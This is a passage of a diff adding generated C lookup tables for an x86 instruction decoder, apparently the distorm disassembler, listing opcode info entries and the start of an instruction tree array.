}, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_3B*/{ { 0x135, 8187 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_3C*/{ { 0x135, 8204 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_3D*/{ { 0x135, 8221 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_3E*/{ { 0x135, 8238 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_3F*/{ { 0x135, 8255 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_40*/{ { 0x135, 8272 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_41*/{ { 0x1a4, 8293 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_96*/{ { 0x1ae, 8332 }, 0x7, 90, 0, 8348, 0 }, + /*II_V_66_0F_38_97*/{ { 0x1ae, 8364 }, 0x7, 90, 0, 8380, 0 }, + /*II_V_66_0F_38_98*/{ { 0x1ae, 8396 }, 0x7, 90, 0, 8409, 0 }, + /*II_V_66_0F_38_99*/{ { 0x1af, 8422 }, 0x6, 80, 0, 8435, 0 }, + /*II_V_66_0F_38_9A*/{ { 0x1ae, 8448 }, 0x7, 90, 0, 8461, 0 }, + /*II_V_66_0F_38_9B*/{ { 0x1af, 8474 }, 0x6, 80, 0, 8487, 0 }, + /*II_V_66_0F_38_9C*/{ { 0x1ae, 8500 }, 0x7, 90, 0, 8514, 0 }, + /*II_V_66_0F_38_9D*/{ { 0x1af, 8528 }, 0x6, 80, 0, 8542, 0 }, + /*II_V_66_0F_38_9E*/{ { 0x1ae, 8556 }, 0x7, 90, 0, 8570, 0 }, + /*II_V_66_0F_38_9F*/{ { 0x1af, 8584 }, 0x6, 80, 0, 8598, 0 }, + /*II_V_66_0F_38_A6*/{ { 0x1ae, 8612 }, 0x7, 90, 0, 8628, 0 }, + /*II_V_66_0F_38_A7*/{ { 0x1ae, 8644 }, 0x7, 90, 0, 8660, 0 }, + /*II_V_66_0F_38_A8*/{ { 0x1ae, 8676 }, 0x7, 90, 0, 8689, 0 }, + /*II_V_66_0F_38_A9*/{ { 0x1af, 8702 }, 0x6, 80, 0, 8715, 0 }, + /*II_V_66_0F_38_AA*/{ { 0x1ae, 8728 }, 0x7, 90, 0, 8741, 0 }, + /*II_V_66_0F_38_AB*/{ { 0x1af, 8754 }, 0x6, 80, 0, 8767, 0 }, + /*II_V_66_0F_38_AC*/{ { 0x1ae, 8780 }, 0x7, 90, 0, 8794, 0 }, + /*II_V_66_0F_38_AD*/{ { 0x1af, 8808 }, 0x6, 80, 0, 8822, 0 }, + /*II_V_66_0F_38_AE*/{ { 0x1ae, 8836 }, 0x7, 90, 0, 8850, 0 }, + /*II_V_66_0F_38_AF*/{ { 0x1af, 8864 }, 0x6, 80, 0, 8878, 0 }, + /*II_V_66_0F_38_B6*/{ { 0x1ae, 8892 }, 0x7, 90, 0, 8908, 0 }, + /*II_V_66_0F_38_B7*/{ { 0x1ae, 8924 }, 0x7, 90, 0, 8940, 0 }, + /*II_V_66_0F_38_B8*/{ { 0x1ae, 8956 }, 0x7, 90, 0, 8969, 0 }, + /*II_V_66_0F_38_B9*/{ { 0x1af, 8982 }, 0x6, 80, 0, 8995, 0 }, + /*II_V_66_0F_38_BA*/{ { 0x1ae, 9008 }, 0x7, 90, 0, 9021, 0 }, + /*II_V_66_0F_38_BB*/{ { 0x1af, 9034 }, 0x6, 80, 0, 9047, 0 }, + /*II_V_66_0F_38_BC*/{ { 0x1ae, 9060 }, 0x7, 90, 0, 9074, 0 }, + /*II_V_66_0F_38_BD*/{ { 0x1af, 9088 }, 0x6, 80, 0, 9102, 0 }, + /*II_V_66_0F_38_BE*/{ { 0x1ae, 9116 }, 0x7, 90, 0, 9130, 0 }, + /*II_V_66_0F_38_BF*/{ { 0x1af, 9144 }, 0x6, 80, 0, 9158, 0 }, + /*II_V_66_0F_38_DB*/{ { 0x1b1, 9180 }, 0x40, 0, 0, 0, 0 }, + /*II_V_66_0F_38_DC*/{ { 0x1b2, 9197 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_DD*/{ { 0x1b2, 9218 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_DE*/{ { 0x1b2, 9239 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_38_DF*/{ { 0x1b2, 9260 }, 0x0, 73, 0, 0, 0 }, + /*II_V_66_0F_3A_04*/{ { 0x1b7, 7581 }, 0x41, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_05*/{ { 0x1b7, 7592 }, 0x41, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_06*/{ { 0x1b8, 9287 }, 0x10, 86, 1, 0, 0 }, + /*II_66_0F_3A_08*/{ { 0x19f, 9299 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_08*/{ { 0x1b7, 9308 }, 0x41, 1, 0, 0, 0 }, + /*II_66_0F_3A_09*/{ { 0x19f, 9318 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_09*/{ { 0x1b7, 9327 }, 0x41, 1, 0, 0, 0 }, + /*II_66_0F_3A_0A*/{ { 0x1b9, 9337 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_0A*/{ { 0x181, 9346 }, 0x0, 71, 1, 0, 0 }, + /*II_66_0F_3A_0B*/{ { 0x1ba, 9356 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_0B*/{ { 0x181, 9365 }, 0x0, 72, 1, 0, 0 }, + /*II_66_0F_3A_0C*/{ { 0x19f, 9375 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_0C*/{ { 0x186, 9384 }, 0x1, 90, 1, 0, 0 }, + /*II_66_0F_3A_0D*/{ { 0x19f, 9394 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_0D*/{ { 0x186, 9403 }, 0x1, 90, 1, 0, 0 }, + /*II_66_0F_3A_0E*/{ { 0x19f, 9413 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_0E*/{ { 0x181, 9422 }, 0x0, 73, 1, 0, 0 }, + /*II_0F_3A_0F*/{ { 0x1bb, 9432 }, 0x0, 1, 0, 0, 0 }, + /*II_66_0F_3A_0F*/{ { 0x1bc, 9432 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_0F*/{ { 0x181, 9441 }, 0x0, 73, 1, 0, 0 }, + /*II_66_0F_3A_14*/{ { 0x1bd, 9451 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_14*/{ { 0x1be, 9459 }, 0x40, 1, 0, 0, 0 }, + /*II_66_0F_3A_15*/{ { 0x1bf, 6333 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_15*/{ { 0x1c0, 6341 }, 0x40, 1, 0, 0, 0 }, + /*II_66_0F_3A_16*/{ { 0x1c1, 9468 }, 0x0, 1, 0, 0, 9476 }, + /*II_V_66_0F_3A_16*/{ { 0x1c2, 9484 }, 0x46, 1, 0, 9493, 0 }, + /*II_66_0F_3A_17*/{ { 0x1c3, 9502 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_17*/{ { 0x1c4, 9513 }, 0x40, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_18*/{ { 0x1b8, 9525 }, 0x10, 73, 1, 0, 0 }, + /*II_V_66_0F_3A_19*/{ { 0x1c5, 9538 }, 0x50, 1, 0, 0, 0 }, + /*II_66_0F_3A_20*/{ { 0x1c6, 9552 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_20*/{ { 0x181, 9560 }, 0x0, 76, 1, 0, 0 }, + /*II_66_0F_3A_21*/{ { 0x1b9, 9569 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_21*/{ { 0x181, 9579 }, 0x0, 71, 1, 0, 0 }, + /*II_66_0F_3A_22*/{ { 0x1c7, 9590 }, 0x0, 1, 0, 0, 9598 }, + /*II_V_66_0F_3A_22*/{ { 0x181, 9606 }, 0x6, 79, 1, 9615, 0 }, + /*II_66_0F_3A_40*/{ { 0x19f, 9624 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_40*/{ { 0x186, 9630 }, 0x1, 90, 1, 0, 0 }, + /*II_66_0F_3A_41*/{ { 0x19f, 9637 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_41*/{ { 0x181, 9643 }, 0x0, 73, 1, 0, 0 }, + /*II_66_0F_3A_42*/{ { 0x19f, 9650 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_42*/{ { 0x181, 9659 }, 0x0, 73, 1, 0, 0 }, + /*II_66_0F_3A_44*/{ { 0x1c8, 9669 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_44*/{ { 0x1c9, 9680 }, 0x0, 73, 1, 0, 0 }, + /*II_V_66_0F_3A_4A*/{ { 0x186, 9692 }, 0x1, 90, 84, 0, 0 }, + /*II_V_66_0F_3A_4B*/{ { 0x186, 9703 }, 0x1, 90, 84, 0, 0 }, + /*II_V_66_0F_3A_4C*/{ { 0x181, 9714 }, 0x0, 73, 82, 0, 0 }, + /*II_66_0F_3A_60*/{ { 0x1ca, 9725 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_60*/{ { 0x160, 9736 }, 0x40, 1, 0, 0, 0 }, + /*II_66_0F_3A_61*/{ { 0x1ca, 9748 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_61*/{ { 0x160, 9759 }, 0x40, 1, 0, 0, 0 }, + /*II_66_0F_3A_62*/{ { 0x1ca, 9771 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_62*/{ { 0x160, 9782 }, 0x40, 1, 0, 0, 0 }, + /*II_66_0F_3A_63*/{ { 0x1ca, 9794 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_63*/{ { 0x160, 9805 }, 0x40, 1, 0, 0, 0 }, + /*II_66_0F_3A_DF*/{ { 0x1cb, 9817 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_3A_DF*/{ { 0x1cc, 9834 }, 0x40, 1, 0, 0, 0 }, + /*II_V_66_0F_71_02*/{ { 0x1cf, 6465 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_71_04*/{ { 0x1cf, 6724 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_71_06*/{ { 0x1cf, 7038 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_72_02*/{ { 0x1cf, 6480 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_72_04*/{ { 0x1cf, 6739 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_72_06*/{ { 0x1cf, 7053 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_73_02*/{ { 0x1cf, 6495 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_73_03*/{ { 0x1cf, 9860 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_73_06*/{ { 0x1cf, 7068 }, 0x0, 1, 0, 0, 0 }, + /*II_V_66_0F_73_07*/{ { 0x1cf, 9877 }, 0x0, 1, 0, 0, 0 }, + /*II_0F_AE_00*/{ { 0x170, 9886 }, 0x0, 0, 0, 0, 9894 }, + /*II_0F_AE_01*/{ { 0x170, 9914 }, 0x0, 0, 0, 0, 9923 }, + /*II_V_0F_AE_02*/{ { 0x1d1, 9963 }, 0x40, 0, 0, 0, 0 }, + /*II_V_0F_AE_03*/{ { 0x1d1, 9992 }, 0x40, 0, 0, 0, 0 } +}; + +_InstNode InstructionsTree[5688] = { + /* 0 - _00 */ 0x2000, + /* 1 - _01 */ 0x2001, + /* 2 - _02 */ 0x2002, + /* 3 - _03 */ 0x2003, + /* 4 - _04 */ 0x2004, + /* 5 - _05 */ 0x2005, + /* 6 - _06 */ 0x2006, + /* 7 - _07 */ 0x2007, + /* 8 - _08 */ 0x2008, + /* 9 - _09 */ 0x2009, + /* a - _0A */ 0x200a, + /* b - _0B */ 0x200b, + /* c - _0C */ 0x200c, + /* d - _0D */ 0x200d, + /* e - _0E */ 0x200e, + /* f - _0F */ 0x8100, + /* 10 - _10 */ 0x200f, + /* 11 - _11 */ 0x2010, + /* 12 - _12 */ 0x2011, + /* 13 - _13 */ 0x2012, + /* 14 - _14 */ 0x2013, + /* 15 - _15 */ 0x2014, + /* 16 - _16 */ 0x2015, + /* 17 - _17 */ 0x2016, + /* 18 - _18 */ 0x2017, + /* 19 - _19 */ 0x2018, + /* 1a - _1A */ 0x2019, + /* 1b - _1B */ 0x201a, + /* 1c - _1C */ 0x201b, + /* 1d - _1D */ 0x201c, + /* 1e - _1E */ 0x201d, + /* 1f - _1F */ 0x201e, + /* 20 - _20 */ 0x201f, + /* 21 - _21 */ 0x2020, + /* 22 - _22 */ 0x2021, + /* 23 - _23 */ 0x2022, + /* 24 - _24 */ 0x2023, + /* 25 - _25 */ 0x2024, + /* 26 - */ 0, + /* 27 - _27 */ 0x2025, + /* 28 - _28 */ 0x2026, + /* 29 - _29 */ 0x2027, + /* 2a - _2A */ 0x2028, + /* 2b - _2B */ 0x2029, + /* 2c - _2C */ 0x202a, + /* 2d - _2D */ 0x202b, + /* 2e - */ 0, + /* 2f - _2F */ 0x202c, + /* 30 - _30 */ 0x202d, + /* 31 - _31 */ 0x202e, + /* 32 - _32 */ 0x202f, + /* 33 - _33 */ 0x2030, + /* 34 - _34 */ 0x2031, + /* 35 - _35 */ 0x2032, + /* 36 - */ 0, + /* 37 - _37 */ 0x2033, + /* 38 - _38 */ 0x2034, + /* 39 - _39 */ 0x2035, + /* 3a - _3A */ 0x2036, + /* 3b - _3B */ 0x2037, + /* 3c - _3C */ 0x2038, + /* 3d - _3D */ 0x2039, + /* 3e - */ 0, + /* 3f - _3F */ 0x203a, + /* 40 - _40 */ 0x203b, + /* 41 - _40 */ 0x203c, + /* 42 - _40 */ 0x203d, + /* 43 - _40 */ 0x203e, + /* 44 - _40 */ 0x203f, + /* 45 - _40 */ 0x2040, + /* 46 - _40 */ 0x2041, + /* 47 - _40 */ 0x2042, + /* 48 - _48 */ 0x2043, + /* 49 - _48 */ 0x2044, + /* 4a - _48 */ 0x2045, + /* 4b - _48 */ 0x2046, + /* 4c - _48 */ 0x2047, + /* 4d - _48 */ 0x2048, + /* 4e - _48 */ 0x2049, + /* 4f - _48 */ 0x204a, + /* 50 - _50 */ 0x204b, + /* 51 - _50 */ 0x204c, + /* 52 - _50 */ 0x204d, + /* 53 - _50 */ 0x204e, + /* 54 - _50 */ 0x204f, + /* 55 - _50 */ 0x2050, + /* 56 - _50 */ 0x2051, + /* 57 - _50 */ 0x2052, + /* 58 - _58 */ 0x2053, + /* 59 - _58 */ 0x2054, + /* 5a - _58 */ 0x2055, + /* 5b - _58 */ 0x2056, + /* 5c - _58 */ 0x2057, + /* 5d - _58 */ 0x2058, + /* 5e - _58 */ 0x2059, + /* 5f - _58 */ 0x205a, + /* 60 - _60 */ 0x205b, + /* 61 - _61 */ 0x205c, + /* 62 - _62 */ 0x205d, + /* 63 - _63 */ 0x205e, + /* 64 - */ 0, + /* 65 - */ 0, + /* 66 - */ 0, + /* 67 - */ 0, + /* 68 - _68 */ 0x205f, + /* 69 - _69 */ 0x4000, + /* 6a - _6A */ 0x2060, + /* 6b - _6B */ 0x4001, + /* 6c - _6C */ 0x2061, + /* 6d - _6D */ 0x2062, + /* 6e - _6E */ 0x2063, + /* 6f - _6F */ 0x2064, + /* 70 - _70 */ 0x2065, + /* 71 - _71 */ 0x2066, + /* 72 - _72 */ 0x2067, + /* 73 - _73 */ 0x2068, + /* 74 - _74 */ 0x2069, + /* 75 - _75 */ 0x206a, + /* 76 - _76 */ 0x206b, + /* 77 - _77 */ 0x206c, + /* 78 - _78 */ 0x206d, + /* 79 - _79 */ 0x206e, + /* 7a - _7A */ 0x206f, + /* 7b - _7B */ 0x2070, + /* 7c - _7C */ 0x2071, + /* 7d - _7D */ 0x2072, + /* 7e - _7E */ 0x2073, + /* 7f - _7F */ 0x2074, + /* 80 - _80 */ 0x6200, + /* 81 - _81 */ 0x6208, + /* 82 - _82 */ 0x6210, + /* 83 - _83 */ 0x6218, + /* 84 - _84 */ 0x2075, + /* 85 - _85 */ 0x2076, + /* 86 - _86 */ 0x2077, + /* 87 - _87 */ 0x2078, + /* 88 - _88 */ 0x2079, + /* 89 - _89 */ 0x207a, + /* 8a - _8A */ 0x207b, + /* 8b - _8B */ 0x207c, + /* 8c - _8C */ 0x207d, + /* 8d - _8D */ 0x207e, + /* 8e - _8E */ 0x207f, + /* 8f - _8F */ 0x6220, + /* 90 - _90 */ 0x2080, + /* 91 - _91 */ 0x2081, + /* 92 - _92 */ 0x2082, + /* 93 - _93 */ 0x2083, + /* 94 - _94 */ 0x2084, + /* 95 - _95 */ 0x2085, + /* 96 - _96 */ 0x2086, + /* 97 - _97 */ 0x2087, + /* 98 - _98 */ 0x4002, + /* 99 - _99 */ 0x4003, + /* 9a - _9A */ 0x2088, + /* 9b - */ 0, + /* 9c - _9C */ 0x2089, + /* 9d - _9D */ 0x208a, + /* 9e - _9E */ 0x208b, + /* 9f - _9F */ 0x208c, + /* a0 - _A0 */ 0x208d, + /* a1 - _A1 */ 0x208e, + /* a2 - _A2 */ 0x208f, + /* a3 - _A3 */ 0x2090, + /* a4 - _A4 */ 0x2091, + /* a5 - _A5 */ 0x2092, + /* a6 - _A6 */ 0x2093, + /* a7 - _A7 */ 0x2094, + /* a8 - _A8 */ 0x2095, + /* a9 - _A9 */ 0x2096, + /* aa - _AA */ 0x2097, + /* ab - _AB */ 0x2098, + /* ac - _AC */ 0x2099, + /* ad - _AD */ 0x209a, + /* ae - _AE */ 0x209b, + /* af - _AF */ 0x209c, + /* b0 - _B0 */ 0x209d, + /* b1 - _B0 */ 0x209e, + /* b2 - _B0 */ 0x209f, + /* b3 - _B0 */ 0x20a0, + /* b4 - _B0 */ 0x20a1, + /* b5 - _B0 */ 0x20a2, + /* b6 - _B0 */ 0x20a3, + /* b7 - _B0 */ 0x20a4, + /* b8 - _B8 */ 0x20a5, + /* b9 - _B8 */ 0x20a6, + /* ba - _B8 */ 0x20a7, + /* bb - _B8 */ 0x20a8, + /* bc - _B8 */ 0x20a9, + /* bd - _B8 */ 0x20aa, + /* be - _B8 */ 0x20ab, + /* bf - _B8 */ 0x20ac, + /* c0 - _C0 */ 0x6228, + /* c1 - _C1 */ 0x6230, + /* c2 - _C2 */ 0x20ad, + /* c3 - _C3 */ 0x20ae, + /* c4 - _C4 */ 0x20af, + /* c5 - _C5 */ 0x20b0, + /* c6 - _C6 */ 0xa238, + /* c7 - _C7 */ 0xa280, + /* c8 - _C8 */ 0x20b1, + /* c9 - _C9 */ 0x20b2, + /* ca - _CA */ 0x20b3, + /* cb - _CB */ 0x20b4, + /* cc - _CC */ 0x20b5, + /* cd - _CD */ 0x20b6, + /* ce - _CE */ 0x20b7, + /* cf - _CF */ 0x20b8, + /* d0 - _D0 */ 0x62c8, + /* d1 - _D1 */ 0x62d0, + /* d2 - _D2 */ 0x62d8, + /* d3 - _D3 */ 0x62e0, + /* d4 - _D4 */ 0x20b9, + /* d5 - _D5 */ 0x20ba, + /* d6 - _D6 */ 0x20bb, + /* d7 - _D7 */ 0x20bc, + /* d8 - _D8 */ 0xa2e8, + /* d9 - _D9 */ 0xa330, + /* da - _DA */ 0xa378, + /* db - _DB */ 0xa3c0, + /* dc - _DC */ 0xa408, + /* dd - _DD */ 0xa450, + /* de - _DE */ 0xa498, + /* df - _DF */ 0xa4e0, + /* e0 - _E0 */ 0x20bd, + /* e1 - _E1 */ 0x20be, + /* e2 - _E2 */ 0x20bf, + /* e3 - _E3 */ 0x4004, + /* e4 - _E4 */ 0x20c0, + /* e5 - _E5 */ 0x20c1, + /* e6 - _E6 */ 0x20c2, + /* e7 - _E7 */ 0x20c3, + /* e8 - _E8 */ 0x20c4, + /* e9 - _E9 */ 0x20c5, + /* ea - _EA */ 0x20c6, + /* eb - _EB */ 0x20c7, + /* ec - _EC */ 0x20c8, + /* ed - _ED */ 0x20c9, + /* ee - _EE */ 0x20ca, + /* ef - _EF */ 0x20cb, + /* f0 - */ 0, + /* f1 - _F1 */ 0x20cc, + /* f2 - */ 0, + /* f3 - */ 0, + /* f4 - _F4 */ 0x20cd, + /* f5 - _F5 */ 0x20ce, + /* f6 - _F6 */ 0x6528, + /* f7 - _F7 */ 0x6530, + /* f8 - _F8 */ 0x20cf, + /* f9 - _F9 */ 0x20d0, + /* fa - _FA */ 0x20d1, + /* fb - _FB */ 0x20d2, + /* fc - _FC */ 0x20d3, + /* fd - _FD */ 0x20d4, + /* fe - _FE */ 0x6538, + /* ff - _FF */ 0x6540, + /* 100 - _0F_00 */ 0x6548, + /* 101 - _0F_01 */ 0xa550, + /* 102 - _0F_02 */ 0x20d5, + /* 103 - _0F_03 */ 0x20d6, + /* 104 - */ 0, + /* 105 - _0F_05 */ 0x20d7, + /* 106 - _0F_06 */ 0x20d8, + /* 107 - _0F_07 */ 0x20d9, + /* 108 - _0F_08 */ 0x20da, + /* 109 - _0F_09 */ 0x20db, + /* 10a - */ 0, + /* 10b - _0F_0B */ 0x20dc, + /* 10c - */ 0, + /* 10d - _0F_0D */ 0x6598, + /* 10e - _0F_0E */ 0x20dd, + /* 10f - _0F_0F */ 0x85a0, + /* 110 - _0F_10 */ 0xc6a0, + /* 111 - _0F_11 */ 0xc6ac, + /* 112 - _0F_12 */ 0xc6b8, + /* 113 - _0F_13 */ 0xc6c4, + /* 114 - _0F_14 */ 0xc6d0, + /* 115 - _0F_15 */ 0xc6dc, + /* 116 - _0F_16 */ 0xc6e8, + /* 117 - _0F_17 */ 0xc6f4, + /* 118 - _0F_18 */ 0x6700, + /* 119 - */ 0, + /* 11a - */ 0, + /* 11b - */ 0, + /* 11c - */ 0, + /* 11d - */ 0, + /* 11e - */ 0, + /* 11f - _0F_1F */ 0x20de, + /* 120 - _0F_20 */ 0x20df, + /* 121 - _0F_21 */ 0x20e0, + /* 122 - _0F_22 */ 0x20e1, + /* 123 - _0F_23 */ 0x20e2, + /* 124 - */ 0, + /* 125 - */ 0, + /* 126 - */ 0, + /* 127 - */ 0, + /* 128 - _0F_28 */ 0xc708, + /* 129 - _0F_29 */ 0xc714, + /* 12a - _0F_2A */ 0xc720, + /* 12b - _0F_2B */ 0xc72c, + /* 12c - _0F_2C */ 0xc738, + /* 12d - _0F_2D */ 0xc744, + /* 12e - _0F_2E */ 0xc750, + /* 12f - _0F_2F */ 0xc75c, + /* 130 - _0F_30 */ 0x20e3, + /* 131 - _0F_31 */ 0x20e4, + /* 132 - _0F_32 */ 0x20e5, + /* 133 - _0F_33 */ 0x20e6, + /* 134 - _0F_34 */ 0x20e7, + /* 135 - _0F_35 */ 0x20e8, + /* 136 - */ 0, + /* 137 - _0F_37 */ 0x20e9, + /* 138 - _0F_38 */ 0x8768, + /* 139 - */ 0, + /* 13a - _0F_3A */ 0x8868, + /* 13b - */ 0, + /* 13c - */ 0, + /* 13d - */ 0, + /* 13e - */ 0, + /* 13f - */ 0, + /* 140 - _0F_40 */ 0x20ea, + /* 141 - _0F_41 */ 0x20eb, + /* 142 - _0F_42 */ 0x20ec, + /* 143 - _0F_43 */ 0x20ed, + /* 144 - _0F_44 */ 0x20ee, + /* 145 - _0F_45 */ 0x20ef, + /* 146 - _0F_46 */ 0x20f0, + /* 147 - _0F_47 */ 0x20f1, + /* 148 - _0F_48 */ 0x20f2, + /* 149 - _0F_49 */ 0x20f3, + /* 14a - _0F_4A */ 0x20f4, + /* 14b - _0F_4B */ 0x20f5, + /* 14c - _0F_4C */ 0x20f6, + /* 14d - _0F_4D */ 0x20f7, + /* 14e - _0F_4E */ 0x20f8, + /* 14f - _0F_4F */ 0x20f9, + /* 150 - _0F_50 */ 0xc968, + /* 151 - _0F_51 */ 0xc974, + /* 152 - _0F_52 */ 0xc980, + /* 153 - _0F_53 */ 0xc98c, + /* 154 - _0F_54 */ 0xc998, + /* 155 - _0F_55 */ 0xc9a4, + /* 156 - _0F_56 */ 0xc9b0, + /* 157 - _0F_57 */ 0xc9bc, + /* 158 - _0F_58 */ 0xc9c8, + /* 159 - _0F_59 */ 0xc9d4, + /* 15a - _0F_5A */ 0xc9e0, + /* 15b - _0F_5B */ 0xc9ec, + /* 15c - _0F_5C */ 0xc9f8, + /* 15d - _0F_5D */ 0xca04, + /* 15e - _0F_5E */ 0xca10, + /* 15f - _0F_5F */ 0xca1c, + /* 160 - _0F_60 */ 0xca28, + /* 161 - _0F_61 */ 0xca34, + /* 162 - _0F_62 */ 0xca40, + /* 163 - _0F_63 */ 0xca4c, + /* 164 - _0F_64 */ 0xca58, + /* 165 - _0F_65 */ 0xca64, + /* 166 - _0F_66 */ 0xca70, + /* 167 - _0F_67 */ 0xca7c, + /* 168 - _0F_68 */ 0xca88, + /* 169 - _0F_69 */ 0xca94, + /* 16a - _0F_6A */ 0xcaa0, + /* 16b - _0F_6B */ 0xcaac, + /* 16c - _0F_6C */ 0xcab8, + /* 16d - _0F_6D */ 0xcac4, + /* 16e - _0F_6E */ 0xcad0, + /* 16f - _0F_6F */ 0xcadc, + /* 170 - _0F_70 */ 0xcae8, + /* 171 - _0F_71 */ 0x6af4, + /* 172 - _0F_72 */ 0x6afc, + /* 173 - _0F_73 */ 0x6b04, + /* 174 - _0F_74 */ 0xcb0c, + /* 175 - _0F_75 */ 0xcb18, + /* 176 - _0F_76 */ 0xcb24, + /* 177 - _0F_77 */ 0xcb30, + /* 178 - _0F_78 */ 0xcb3c, + /* 179 - _0F_79 */ 0xcb48, + /* 17a - _0F_7A */ 0x8b54, + /* 17b - */ 0, + /* 17c - _0F_7C */ 0xcc54, + /* 17d - _0F_7D */ 0xcc60, + /* 17e - _0F_7E */ 0xcc6c, + /* 17f - _0F_7F */ 0xcc78, + /* 180 - _0F_80 */ 0x20fa, + /* 181 - _0F_81 */ 0x20fb, + /* 182 - _0F_82 */ 0x20fc, + /* 183 - _0F_83 */ 0x20fd, + /* 184 - _0F_84 */ 0x20fe, + /* 185 - _0F_85 */ 0x20ff, + /* 186 - _0F_86 */ 0x2100, + /* 187 - _0F_87 */ 0x2101, + /* 188 - _0F_88 */ 0x2102, + /* 189 - _0F_89 */ 0x2103, + /* 18a - _0F_8A */ 0x2104, + /* 18b - _0F_8B */ 0x2105, + /* 18c - _0F_8C */ 0x2106, + /* 18d - _0F_8D */ 0x2107, + /* 18e - _0F_8E */ 0x2108, + /* 18f - _0F_8F */ 0x2109, + /* 190 - _0F_90 */ 0x210a, + /* 191 - _0F_91 */ 0x210b, + /* 192 - _0F_92 */ 0x210c, + /* 193 - _0F_93 */ 0x210d, + /* 194 - _0F_94 */ 0x210e, + /* 195 - _0F_95 */ 0x210f, + /* 196 - _0F_96 */ 0x2110, + /* 197 - _0F_97 */ 0x2111, + /* 198 - _0F_98 */ 0x2112, + /* 199 - _0F_99 */ 0x2113, + /* 19a - _0F_9A */ 0x2114, + /* 19b - _0F_9B */ 0x2115, + /* 19c - _0F_9C */ 0x2116, + /* 19d - _0F_9D */ 0x2117, + /* 19e - _0F_9E */ 0x2118, + /* 19f - _0F_9F */ 0x2119, + /* 1a0 - _0F_A0 */ 0x211a, + /* 1a1 - _0F_A1 */ 0x211b, + /* 1a2 - _0F_A2 */ 0x211c, + /* 1a3 - _0F_A3 */ 0x211d, + /* 1a4 - _0F_A4 */ 0x4005, + /* 1a5 - _0F_A5 */ 0x4006, + /* 1a6 - */ 0, + /* 1a7 - */ 0, + /* 1a8 - _0F_A8 */ 0x211e, + /* 1a9 - _0F_A9 */ 0x211f, + /* 1aa - _0F_AA */ 0x2120, + /* 1ab - _0F_AB */ 0x2121, + /* 1ac - _0F_AC */ 0x4007, + /* 1ad - _0F_AD */ 0x4008, + /* 1ae - _0F_AE */ 0x6c84, + /* 1af - _0F_AF */ 0x2122, + /* 1b0 - _0F_B0 */ 0x2123, + /* 1b1 - _0F_B1 */ 0x2124, + /* 1b2 - _0F_B2 */ 0x2125, + /* 1b3 - _0F_B3 */ 0x2126, + /* 1b4 - _0F_B4 */ 0x2127, + /* 1b5 - _0F_B5 */ 0x2128, + /* 1b6 - _0F_B6 */ 0x2129, + /* 1b7 - _0F_B7 */ 0x212a, + /* 1b8 - _0F_B8 */ 0xcc8c, + /* 1b9 - _0F_B9 */ 0x212b, + /* 1ba - _0F_BA */ 0x6c98, + /* 1bb - _0F_BB */ 0x212c, + /* 1bc - _0F_BC */ 0xcca0, + /* 1bd - _0F_BD */ 0xccac, + /* 1be - _0F_BE */ 0x212d, + /* 1bf - _0F_BF */ 0x212e, + /* 1c0 - _0F_C0 */ 0x212f, + /* 1c1 - _0F_C1 */ 0x2130, + /* 1c2 - _0F_C2 */ 0xccb8, + /* 1c3 - _0F_C3 */ 0x2131, + /* 1c4 - _0F_C4 */ 0xccc4, + /* 1c5 - _0F_C5 */ 0xccd0, + /* 1c6 - _0F_C6 */ 0xccdc, + /* 1c7 - _0F_C7 */ 0x6ce8, + /* 1c8 - _0F_C8 */ 0x2132, + /* 1c9 - _0F_C8 */ 0x2133, + /* 1ca - _0F_C8 */ 0x2134, + /* 1cb - _0F_C8 */ 0x2135, + /* 1cc - _0F_C8 */ 0x2136, + /* 1cd - _0F_C8 */ 0x2137, + /* 1ce - _0F_C8 */ 0x2138, + /* 1cf - _0F_C8 */ 0x2139, + /* 1d0 - _0F_D0 */ 0xccf0, + /* 1d1 - _0F_D1 */ 0xccfc, + /* 1d2 - _0F_D2 */ 0xcd08, + 